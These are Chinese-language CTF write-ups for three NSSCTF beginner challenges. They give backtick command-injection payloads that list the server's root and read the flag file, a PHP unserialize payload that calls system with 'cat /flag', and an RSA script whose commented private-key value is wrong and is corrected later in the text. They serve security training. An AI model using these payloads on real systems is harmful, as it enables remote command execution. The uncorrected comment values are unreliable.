[UUCTF 2022 新生赛]ez_rce
我们来分析一下这个代码:
首先是isset看我们有没有传一个为空的值,如果为空就输出居然都不输入参数,可恶!!!!!!!!!
不为空就GET传参赋值给$code ,接着 如果 $code
中不包含这些模式中的任何一个,那么 preg_match
函数将返回 false
,包含的话就输出看看你输入的参数!!!不叫样子!!
然后直接输出你写入的。反之就输出你想干什么?????????
最后show_source(__FILE__);
是显示源码。
寻找flag,dir和print_r没被过滤
/?code=print_r(`dir+/`);
打开fffffffffflagafag
/?code=print_r(`nl+/fffffffffflagafag`);
得到flag
NSSCTF{This_IS_s0_easy_RCE}
[SWPUCTF 2021 新生赛]ez_rsa
这为RSA非对称加密,脚本加密试试
import libnum
import hashlib# 步骤1:定义RSA参数
p = 1325465431 # 第一个大质数
q = 152317153 # 第二个大质数
e = 65537 # 公钥指数# 步骤2:计算n和欧拉函数φ(n)
n = p * q # n = 1325465431 × 152317153
phi_n = (p-1) * (q-1) # φ(n) = (1325465431-1) × (152317153-1)# 步骤3:计算私钥d
d = libnum.invmod(e, phi_n) # 计算e关于φ(n)的乘法逆元
print(d) # 输出: 73244315057659# 步骤4:计算MD5哈希值
# 4.1 将d转换为字符串
d_str = str(d) # "73244315057659"
# 4.2 将字符串编码为bytes
d_bytes = d_str.encode() # b"73244315057659"
# 4.3 计算MD5哈希
md5_hash_d = hashlib.md5(d_bytes).hexdigest() # c43c84bf24f5ef9c36b5394e1e6c2bad# 步骤5:构造并输出flag
print("NSSCTF{" + md5_hash_d + "}") # NSSCTF{c43c84bf24f5ef9c36b5394e1e6c2bad}
- RSA算法:RSA是一种非对称加密算法,使用一对公钥和私钥进行加密和解密操作。公钥用于加密数据,私钥用于解密数据。
- 模数 nn:由两个大质数 pp 和 qq 相乘得到。
- 欧拉函数 ϕ(n)ϕ(n):ϕ(n)=(p−1)(q−1)ϕ(n)=(p−1)(q−1),用于计算私钥。
- 公钥指数 ee:通常选择为65537,这是一个常用的小质数。
- 私钥 dd:通过求解方程 e⋅d≡1 (mod ϕ(n))e⋅d≡1 (mod ϕ(n)) 得到,确保 dd 是 ee 在模 ϕ(n)ϕ(n) 下的乘法逆元。
- MD5哈希值:将私钥 dd 转换为字符串后,计算其MD5哈希值。MD5是一种常见的哈希函数,用于生成固定长度的哈希值。
上面好像算错了d=43476042047970113
然后再转为md5就行
得到flag
NSSCTF{08bb8fb628da85923e5734a75ac19ffe}
[SWPUCTF 2022 新生赛]1z_unserialize
我们来分析一下代码:
首先是定义了一个类,三个属性,接着$a=$this->lt
这里this ->lt(this->lly);
this−>lt和this->lly都可控,所以让lt=system,lly=命令即可实现命令执行
我们写一个反序列:
<?php
class lyh{public $url = 'NSSCTF.com';public $lt;public $lly;
}
$a = new lyh();
$a -> lt = 'system';
$a -> lly = 'cat /flag';
echo serialize($a);
?>
O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
得到反序列化的
得到flag
NSSCTF{11ca823f-60b6-4267-b91d-d85dcbd855d6}